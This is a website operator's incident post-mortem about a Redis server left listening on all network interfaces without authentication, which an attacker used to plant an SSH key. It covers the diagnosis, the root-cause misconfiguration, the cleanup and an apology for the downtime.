Yesterday, our Redis server was hacked. As soon as we figured out what was going on, we immediately switched the website to maintenance mode and began investigating what happened. While this was in progress, we spun up a new server and rebuilt the website, restoring the database from a recent backup. Once the new server was up and running, we enabled it and eventually concluded our investigation.

The rest of this article describes the events as they unfolded and recaps some of the things we learned along the way.

Something Is Wrong

At approximately 11:43am PST, error emails started flooding in from Django. The Python traceback in the emails contained the following exception:

redis.exceptions.ResponseError: NOAUTH Authentication required.

Clearly something was very wrong with our Redis server. The emails were coming in at an alarming rate, nearly 100 in the span of 5 minutes. I immediately logged into the server via SSH and stopped uWSGI to prevent more emails. I also switched the server to maintenance mode so that visitors aren't greeted with an ugly "Bad Gateway" error page.

Issuing commands with redis-cli resulted in the same error. At first we wondered if the Redis configuration was messed up. Nothing interesting was showing up in the logs, so we restarted the server.

Something Is Very Wrong

Once Redis was back up, we ran:

127.0.0.1:6379> KEYS *
1) "crackit"

This was our first clue that something was amiss. A quick Google search revealed this page. I immediately checked authorized_keys for both root and the user the website runs under for suspicious entries, but each and every key was accounted for.

The value of the key was:

cat: foo.txt: No such file or directory\n

The whole thing had me baffled since Redis was configured to listen only through a Unix socket (or so I thought). In a fit of desperation, I attempted to connect from my desktop using telnet:

$ telnet x.x.x.x 6379
Trying x.x.x.x...
Connected to x.x.x.x.
Escape character is '^]'.

If Redis wasn't listening on a TCP socket, how could I connect to it?

A Lightbulb Goes Off

Running ps revealed that Redis was indeed listening on all network interfaces for incoming connections:

$ ps ax | grep redis
 1306 ?        Ssl    0:52 /usr/bin/redis-server *:6379

But why was it doing this? I looked through the init script (we're running 2buntu on Trusty) and the only argument being passed to the server was the configuration file. Opening the configuration file (again) finally revealed what had happened:

# Accept connections on the specified port, default is 6379.
# If port 0 is specified Redis will not listen on a TCP socket.
#port 6379

# By default Redis listens for connections from all the network interfaces
# available on the server.
# ...
#bind 127.0.0.1

If port was not set and bind was not set, the default behavior is to listen on port 6379 on all network interfaces. That would do it. The mystery had been solved - and it was my fault.

Cleaning Up

Now that the entrypoint of the attack was known, the next step was to determine the scope. The goal of the attack was likely to gain SSH access via the redis account. A file named authorized_keys existed in /var/lib/redis (which is the home directory for the redis user) and it contained what was presumably the attacker's RSA key.

However, sshd wasn't looking there for the file. It was looking in /var/lib/redis/.ssh. I confirmed that there was no .ssh directory. auth.log didn't show any login attempts for the redis user. The user also doesn't have a proper shell set in /etc/passwd, so doing anything would have been difficult anyway.

My conclusion was that the attacked failed to login to the server and the only harm they were able to do was break the Redis server. No account information was accessed and none of our visitors were ever at risk. We hash and salt our passwords using bcrypt, so in the unlikely event that someone ever did manage to compromise the database, they wouldn't be able to do anything with the data.

Summary

We sincerely apologize for the inconvenience caused by the downtime. The website was inaccessible for approximately 8 hours while the server was rebuilt and the backup was restored.

In the end, we have all learned valuable lessons from this incident and will strive to do better in the future.